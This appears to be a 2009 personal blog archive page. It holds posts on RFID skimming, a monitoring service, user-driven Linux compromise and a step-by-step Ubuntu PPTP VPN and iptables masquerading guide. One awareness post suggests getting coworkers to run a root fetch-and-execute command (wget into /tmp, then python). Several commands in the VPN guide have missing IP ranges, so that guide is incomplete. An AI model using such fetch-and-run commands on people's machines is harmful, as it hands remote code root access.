Monthly Archives: February 2009

RFID tags

RFID (Radio-frequency identification) is an automatic identification method.
RFID tags can be used in passports, transportation payments, product tracking, transportation and logistics, lap scoring, animal identification.
Human implants are also available but the experts warned against using RFID for authenticating people due to the risk of identity theft.
In the video you’ll see how RFID tags can be accesed using inexpensive off-the-shelf components.
Researcher Chris Paget built a device consisting of a Symbol XR400 RFID reader (now manufactured by Motorola), a Motorola AN400 patch antenna mounted to the side of his Volvo XC90, and a Dell 710m that’s connected to the RFID reader by ethernet cable. The laptop runs a Windows application Paget developed that continuously prompts the RFID reader to look for tags and logs the serial number each time one is detected. He bought most of the gear via auctions listed on eBay.
Watch and be scared!


Monitor your downtime

easy.MEDIA launched a website monitoring service ( based on nagios.
The service offers SMS/Email notification to meet your need for mobility.
The servers/websites will be crossed-monitored to avoid false alarms.

How to write a linux virus

After reading an interesting article about linux “viruses” (the comments are interersing, too), I decided to raise the alarm about the source of many security related issues
in today’s computers: the user.
The author talks about the many ways to compromise a linux box, even if you are not root.
I will not get into techinal methods, you can find them on the internet or by reading the original article. Instead I will talk about the regular user.
From my experience I know for sure that a regular user could compromise his own system.
Don’t belive me? Make a little test.
1. For Windows
– rename any executable file as “virus.exe”, put it on a web server and give the link to your coworkers by email, instant messenger, whatever.
2. For Linux
– put them to open terminal and type “sudo su -” and then “wget -o /tmp/; python /tmp/”
You’ll be surprised by their actions. You’ll find out that many will open the link or run the commands.
For many of you this will not be a surprise. You’ll say: “I know someone who will instinctively click on the link!”.
Think about that every one of us knows a person like that.
It’s not a hard thing to make the user click on a link or run a command.
The attackers just have to find ways to extract informations from the compromised box.
In the end of the article, the author talks about solutions to this problem.

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.

In conclusion, there are no bullet-proof systems, only users who are too careless and click every link in their’s mouse way.


This extension provides syntax highlighting features for COOoder will be usefull for developers wanting to present code fragments in writer documents.
More info here:

How to set up a VPN server on Ubuntu

Install PoPToP Point to Point Tunneling Server:

sudo apt-get install pptpd

Edit /etc/pptpd.conf file:

sudo joe /etc/pptpd.conf

Uncomment the following lines (replace IP range if you like)


Save and exit.

Edit /etc/ppp/pptpd-options file

sudo joe /etc/ppp/pptpd-options

Make sure you have this:

noipx               ## you don't need IPX
mtu 1490	        ## may help your linux client from disconnecting
mru 1490	        ## may help your linux client from disconnecting

Save and exit.

Next step is to add users who can use this connection.

sudo joe /etc/ppp/chap-secrets

The file should look like this:

# Secrets for authentication using CHAP
# client           server      secret                    IP addresses
cviorel            pptpd       my_secret_password        *
another_user       pptpd       his_secret_password       *

Now we need to configure IP Masquerading on the VPN server.
The purpose of IP Masquerading is to allow machines with private, non-routable IP addresses on your network to access the Internet through the machine doing the masquerading.

ufw Masquerading
IP Masquerading can be achieved using custom ufw rules. This is possible because the current back-end for ufw is iptables-restore with the rules files located in /etc/ufw/*.rules. These files are a great place to add legacy iptables rules used without ufw, and rules that are more network gateway or bridge related.
The rules are split into two different files, rules that should be executed before ufw command line rules, and rules that are executed after ufw command line rules.

a) First, packet forwarding needs to be enabled in ufw. Two configuration files will need to be adjusted, in /etc/default/ufw change the DEFAULT_FORWARD_POLICY to “ACCEPT”:


Then edit /etc/ufw/sysctl.conf and uncomment:


Similarly, for IPv6 forwarding uncomment:


b) Now we will add rules to the /etc/ufw/before.rules file. The default rules only configure the filter table, and to enable masquerading the nat table will need to be configured. Add the following to the top of the file just after the header comments:

# nat Table rules
# Forward traffic from eth1 through eth0.
# don't delete the 'COMMIT' line or these nat table rules won't be processed

The comments are not strictly necessary, but it is considered good practice to document your configuration. Also, when modifying any of the rules files in /etc/ufw, make sure these lines are the last line for each table modified:

# don't delete the 'COMMIT' line or these rules won't be processed

First, since we trust pptpd completely, I would accept all traffic to/from my pptpd. I added this lines at the beginning of the filter section.

-A ufw-before-input -i ppp+ -j ACCEPT
-A ufw-before-output -i ppp+ -j ACCEPT

Additionally, I must forward traffic to/from my pptpd. These lines was also added after the above lines.

-A ufw-before-forward -s -j ACCEPT
-A ufw-before-forward -d -j ACCEPT

c) Finally, disable and re-enable ufw to apply the changes:

sudo ufw disable && sudo ufw enable

IP Masquerading should now be enabled. You can also add any additional FORWARD rules to the /etc/ufw/before.rules. It is recommended that these additional rules be
added to the ufw-before-forward chain.

iptables Masquerading
iptables can also be used to enable masquerading.
a) Similar to ufw, the first step is to enable IPv4 packet forwarding by editing /etc/sysctl.conf and uncomment the following line:


If you wish to enable IPv6 forwarding also uncomment:


– Next, execute the sysctl command to enable the new settings in the configuration file:

sudo sysctl -p

– IP Masquerading can now be accomplished with a single iptables rule, which may differ slightly based on your network configuration:

sudo iptables -t nat -A POSTROUTING -s -o ppp0 -j MASQUERADE

The above command assumes that your private address space is and that your Internet-facing device is ppp0. The syntax is broken down as follows:

  • -t nat — the rule is to go into the nat table
  • -A POSTROUTING — the rule is to be appended (-A) to the POSTROUTING chain
  • -s — the rule applies to traffic originating from the specified address space
  • -o ppp0 — the rule applies to traffic scheduled to be routed through the specified network device
  • -j MASQUERADE — traffic matching this rule is to “jump” (-j) to the MASQUERADE target to be manipulated as described above

b) Also, each chain in the filter table (the default table, and where most or all packet filtering occurs) has a default policy of ACCEPT, but if you are creating a firewall in addition to a gateway device, you may have set the policies to DROP or REJECT, in which case your masqueraded traffic needs to be allowed through the FORWARD chain for the above rule to work:

sudo iptables -A FORWARD -s -o ppp0 -j ACCEPT
sudo iptables -A FORWARD -d -m state --state ESTABLISHED,RELATED -i ppp0 -j ACCEPT

The above commands will allow all connections from your local network to the Internet and all traffic related to those connections to return to the machine that initiated them.

c) If you want masquerading to be enabled on reboot, which you probably do, edit /etc/rc.local and add any commands used above. For example add the first command with no filtering:

iptables -t nat -A POSTROUTING -s -o ppp0 -j MASQUERADE

Firewall logs are essential for recognizing attacks, troubleshooting your firewall rules, and noticing unusual activity on your network. You must include logging rules in your firewall for them to be generated, though, and logging rules must come before any applicable terminating rule (a rule with a target that decides the fate of the packet, such as ACCEPT, DROP, or REJECT).

If you are using ufw, you can turn on logging by entering the following in a terminal:

sudo ufw logging on

To turn logging off in ufw, simply replace on with off in the above command.
If using iptables instead of ufw, enter:

sudo iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j LOG --log-prefix "NEW_HTTP_CONN: "

A request on port 80 from the local machine, then, would generate a log in dmesg that looks like this:

[4304885.870000] NEW_HTTP_CONN: IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC= DST= LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=58288 DF PROTO=TCP SPT=53981 DPT=80 WINDOW=32767 RES=0x00 SYN URGP=0

The above log will also appear in /var/log/messages, /var/log/syslog, and /var/log/kern.log. This behavior can be modified by editing /etc/syslog.conf appropriately or by installing and configuring ulogd and using the ULOG target instead of LOG. The ulogd daemon is a userspace server that listens for logging instructions from the kernel specifically for firewalls, and can log to any file you like, or even to a PostgreSQL or MySQL database. Making sense of your firewall logs can be simplified by using a log analyzing tool such as fwanalog, fwlogwatch, or lire.

NOTE: Documentation for this article is taken from

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